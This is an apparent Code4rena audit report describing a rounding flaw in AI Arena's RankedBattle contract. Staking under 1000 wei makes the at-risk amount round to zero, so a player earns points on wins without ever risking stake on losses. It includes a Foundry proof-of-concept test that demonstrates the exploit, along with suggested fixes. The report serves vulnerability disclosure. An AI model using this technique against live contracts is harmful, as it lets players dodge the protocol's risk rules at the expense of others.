AI Arena - neocrao's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L439

Vulnerability details

Details

After a battle that is evaluated off-chain, the server calls the contract function RankedBattle::updateBattleRecord() to record the battle results on-chain, and calculate points and update stakes.

In the cases of wins, the points are earned if there are no NRN's at risk, otherwise the NRNs are risk are reclaimed. In the case of loses, the points are reduced. If the points are already at 0, then the staked NRN's become at risk.

The function RankedBattle::updateBattleRecord() calls the internal function RankedBattle::_addResultPoints() which calculates the stake at risk for the battle being considered:

curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10 ** 4;

This is prone to rounding issues if the numerator is below 10**4. If bpsLostPerLoss is set to 10, then as long as (amountStaked[tokenId] + stakeAtRisk) is less than 10**3, the value of curStakeAtRisk will always be 0.

Now, lets assume that the user staked 10**3 - 1. This makes curStakeAtRisk as 0, as demonstrated below:

curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10 ** 4;
curStakeAtRisk = (    10 *         ((10**3-1)             +       0    )) / 10 ** 4;
curStakeAtRisk = (                  (10**3-1)                           ) / 10 ** 3;
curStakeAtRisk = (10**3-1) / 10 ** 3;
curStakeAtRisk = 999/1000
curStakeAtRisk = 0

Now, if the user wins the battle, then the following code is executed:

if (battleResult == 0) {
    /// If the user won the match

    /// If the user has no NRNs at risk, then they can earn points
    if (stakeAtRisk == 0) {
        points = stakingFactor[tokenId] * eloFactor;
    }

    /// Divert a portion of the points to the merging pool
    uint256 mergingPoints = (points * mergingPortion) / 100;
    points -= mergingPoints;
    _mergingPoolInstance.addPoints(tokenId, mergingPoints);

    /// Do not allow users to reclaim more NRNs than they have at risk
    if (curStakeAtRisk > stakeAtRisk) {
        curStakeAtRisk = stakeAtRisk;
    }

    /// If the user has stake-at-risk for their fighter, reclaim a portion
    /// Reclaiming stake-at-risk puts the NRN back into their staking pool
    if (curStakeAtRisk > 0) {
        _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
        amountStaked[tokenId] += curStakeAtRisk;
    }

    /// Add points to the fighter for this round
    accumulatedPointsPerFighter[tokenId][roundId] += points;
    accumulatedPointsPerAddress[fighterOwner][roundId] += points;
    totalAccumulatedPoints[roundId] += points;
    if (points > 0) {
        emit PointsChanged(tokenId, points, true);
    }
}

As the user has stakeAtRisk = 0, the user earns points, and part of it goes to the merging pool if mergingPortion is configured.

In the case of losses, the following code is executed:

if (battleResult == 2) {
    /// If the user lost the match

    /// Do not allow users to lose more NRNs than they have in their staking pool
    if (curStakeAtRisk > amountStaked[tokenId]) {
        curStakeAtRisk = amountStaked[tokenId];
    }
    if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
        /// If the fighter has a positive point balance for this round, deduct points 
        points = stakingFactor[tokenId] * eloFactor;
        if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
            points = accumulatedPointsPerFighter[tokenId][roundId];
        }
        accumulatedPointsPerFighter[tokenId][roundId] -= points;
        accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
        totalAccumulatedPoints[roundId] -= points;
        if (points > 0) {
            emit PointsChanged(tokenId, points, false);
        }
    } else {
        /// If the fighter does not have any points for this round, NRNs become at risk of being lost
        bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
        if (success) {
            _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
            amountStaked[tokenId] -= curStakeAtRisk;
        }
    }
}

In this case, as curStakeAtRisk is always 0, the user's stake never really ends up in the risky state. The only affect this has is reducing fighter's points, which really doesnt affect us much, as we have been interested in accuring points towards the merging pool to win the NFT.

Impact

Based on the details mentioned in the previous section, we see that the following holds true:

• If the user wins, then they earn points, and part of their points go to the merging pool to win a NFT. As their stakeAtRisk will always be 0, they will always be earning points if they win, and never get their stake risked. This is in contrast to the normal flow where the user may or may not win points depending on if they have any stakeAtRisk.
• If the user loses, then their stake never become risked, as curStakeAtRisk was evaluated to 0. This is in contrast that in the normal flow, the user will risk their staked NRN if they have 0 points.

In summary, if the user wins, then they are guaranteed to always earn points, and if they lose, then they are always guaranteed to not risk any of their staked NRN.

Proof of concept

The following test can be placed in test/RankedBattle.t.sol, and run using the following command:

forge test -vvv --match-test "test_neocrao_poc_userImmuneToRiskingStakedNrnAndAlwaysEarnPointsOnWin"

function test_neocrao_poc_userImmuneToRiskingStakedNrnAndAlwaysEarnPointsOnWin() public {
    address player = vm.addr(3);
    _mintFromMergingPool(player);
    uint8 tokenId = 0;
    _fundUserWith4kNeuronByTreasury(player);

    uint256 stakeAmount = (10 ** 3) - 1;

    vm.prank(player);
    _rankedBattleContract.stakeNRN(stakeAmount, 0);

    uint256 expectedCurrentStakeAmount = (10 ** 3) - 1;
    uint256 expectedCurrentPoints = 0;
    uint256 expectedCurrentPointsInMergingPool = 0;

    for (uint8 i = 0; i < 10; i++) {
        // Win
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, false);

        // Never changes as the user's staked NRN never becomes risky
        expectedCurrentStakeAmount += 0;
        // 50% of winning points allocated towards merging pool
        expectedCurrentPoints += (1500 * 50) / 100;
        expectedCurrentPointsInMergingPool += (1500 * 50) / 100;

        assertEq(_rankedBattleContract.amountStaked(0), expectedCurrentStakeAmount);
        assertEq(_rankedBattleContract.accumulatedPointsPerFighter(0, 0), expectedCurrentPoints);
        assertEq(_mergingPoolContract.fighterPoints(0), expectedCurrentPointsInMergingPool);

        // Lose
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, false);

        // Never changes as the user's staked NRN never becomes risky
        expectedCurrentStakeAmount += 0;
        // Points lost
        expectedCurrentPoints -= 750;
        // Nothing earned here
        expectedCurrentPointsInMergingPool += 0;

        assertEq(_rankedBattleContract.amountStaked(0), expectedCurrentStakeAmount);
        assertEq(_rankedBattleContract.accumulatedPointsPerFighter(0, 0), expectedCurrentPoints);
        assertEq(_mergingPoolContract.fighterPoints(0), expectedCurrentPointsInMergingPool);
    }

    // User did not lose any staked value
    assertEq(_rankedBattleContract.amountStaked(0), 999);
    assertEq(_rankedBattleContract.accumulatedPointsPerFighter(0, 0), 0);
    // Yet the user earned points towards merging pool on every single win
    // as their staked NRNs never got risked
    assertEq(_mergingPoolContract.fighterPoints(0), 7500);
}

Severity Justification

This is Medium severity, based on the Code4rena Severity Categorization: https://docs.code4rena.com/awarding/judging-criteria/severity-categorization

2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

Tools Used

Manual Review

Recommended Mitigation Steps

Below are some suggestions to mitiagte this issue:

• If the value of curStakeAtRisk is 0, then consider it as a tie
• Add a minimum amount required to be staked to ensure that curStakeAtRisk is never 0
• If curStakeAtRisk is 0, then the user should not accrue any points either.

Assessed type

Other